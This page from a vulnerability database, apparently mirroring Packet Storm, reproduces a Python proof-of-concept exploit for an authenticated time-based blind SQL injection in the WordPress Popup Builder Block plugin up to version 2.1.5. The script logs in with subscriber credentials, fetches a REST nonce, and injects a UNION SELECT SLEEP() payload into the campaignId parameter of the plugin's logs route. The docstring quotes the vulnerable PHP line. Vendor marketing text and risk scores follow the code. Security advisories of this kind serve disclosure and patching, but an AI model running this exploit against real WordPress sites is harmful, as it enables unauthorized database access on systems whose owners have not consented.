Lucene search
+L

📄 WordPress Popup Builder Block 2.1.5 Blind SQL Injection

🗓️ 21 Jul 2026 00:00:00Reported by Alejandro RamosType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 50 Views

Authenticated time-based blind SQL injection in WordPress Popup Builder Block <= 2.1.5 via campaignId in REST logs route.

Related
Code
#!/usr/bin/env python3
    # Exploit Title: WordPress Plugin Popup Builder Block (PopupKit) <= 2.1.5 - Authenticated (Subscriber+) Time-Based Blind SQL Injection
    # Google Dork: N/A
    # Date: 2026-07-10
    # Exploit Author: A. Ramos <[email protected]> / @aramosf
    # Vendor Homepage: https://wordpress.org/plugins/popup-builder-block/
    # Software Link: https://downloads.wordpress.org/plugin/popup-builder-block.2.1.5.zip
    # Version: 2.1.5 (REQUIRED)
    # Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
    # CVE : CVE-2025-13192
    """
    Popup Builder Block <= 2.1.5 exposes the REST route GET /wp-json/pbb/v1/popup/logs (callback
    Routes/Popup.php::get_logs). Its `campaignId` parameter is concatenated unsanitised into the SQL
    WHERE clause inside DataBase::get_devices() (Helpers/DataBase.php:256):
    
        $campaign = $campaign_id ? " AND campaign_id = $campaign_id" : '';
        $wpdb->prepare("... FROM $table WHERE date BETWEEN %s AND %s $campaign", $start_date, $end_date);
    
    Only $start_date/$end_date are bound; $campaign_id is interpolated raw -> SQL injection. The route
    inherits the class default permission_callback (Routes/Popup.php:50), which requires a valid
    `wp_rest` nonce, so any authenticated user down to Subscriber can reach it (a subscriber obtains the
    nonce from /wp-admin/admin-ajax.php?action=rest-nonce).
    
    Payload uses UNION SELECT SLEEP() (matching the 3 aggregate columns) so the delay fires
    unconditionally regardless of table contents. type=devices selects the injectable method.
    
    Prior state: any authenticated account (Subscriber is enough).
    """
    import argparse, sys, time, urllib.parse
    import requests
    requests.packages.urllib3.disable_warnings()
    
    
    def login(base, user, pw):
        s = requests.Session(); s.verify = False
        s.get(base + "/wp-login.php"); s.cookies.set("wordpress_test_cookie", "WP+Cookie+check")
        s.post(base + "/wp-login.php", data={"log": user, "pwd": pw, "wp-submit": "Log In",
               "redirect_to": base + "/wp-admin/", "testcookie": "1"}, allow_redirects=True)
        return s
    
    
    def probe(s, base, nonce, seconds):
        inj = "0 UNION SELECT SLEEP(%d),2,3" % seconds
        q = ("campaignId=" + urllib.parse.quote(inj) +
             "&startDate=2020-01-01&endDate=2020-01-02&type=devices")
        t = time.time()
        r = s.get(base + "/wp-json/pbb/v1/popup/logs?" + q, headers={"X-WP-Nonce": nonce}, timeout=60)
        return time.time() - t, r.status_code
    
    
    def main():
        ap = argparse.ArgumentParser()
        ap.add_argument("--target", required=True)
        ap.add_argument("--user", default="subscriber")
        ap.add_argument("--pass", dest="pw", default="Passw0rd!123")
        ap.add_argument("--sleep", type=int, default=5)
        args = ap.parse_args()
        base = args.target.rstrip("/")
        s = login(base, args.user, args.pw)
        nonce = s.get(base + "/wp-admin/admin-ajax.php?action=rest-nonce").text.strip()
        if not nonce or nonce == "0":
            print("[-] login failed / no wp_rest nonce"); return 1
        print(f"[*] Target: {base} | user: {args.user} | wp_rest nonce: {nonce}")
        t0, c0 = probe(s, base, nonce, 0)
        t5, c5 = probe(s, base, nonce, args.sleep)
        print(f"[*] SLEEP(0): {t0:.2f}s (http {c0}) | SLEEP({args.sleep}): {t5:.2f}s (http {c5})")
        if c5 == 200 and (t5 - t0) >= args.sleep - 1.5:
            print(f"\n[+] SQL INJECTION CONFIRMED — attacker-controlled SLEEP({args.sleep}) delayed the "
                  f"response by {t5 - t0:.2f}s (subscriber-level, campaignId param).")
            return 0
        print("\n[-] not confirmed"); return 1
    
    
    if __name__ == "__main__":
        sys.exit(main())

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Jul 2026 00:00Current
5.7Medium risk
Vulners AI Score5.7
CVSS 3.18.2
EPSS0.00399
SSVC
50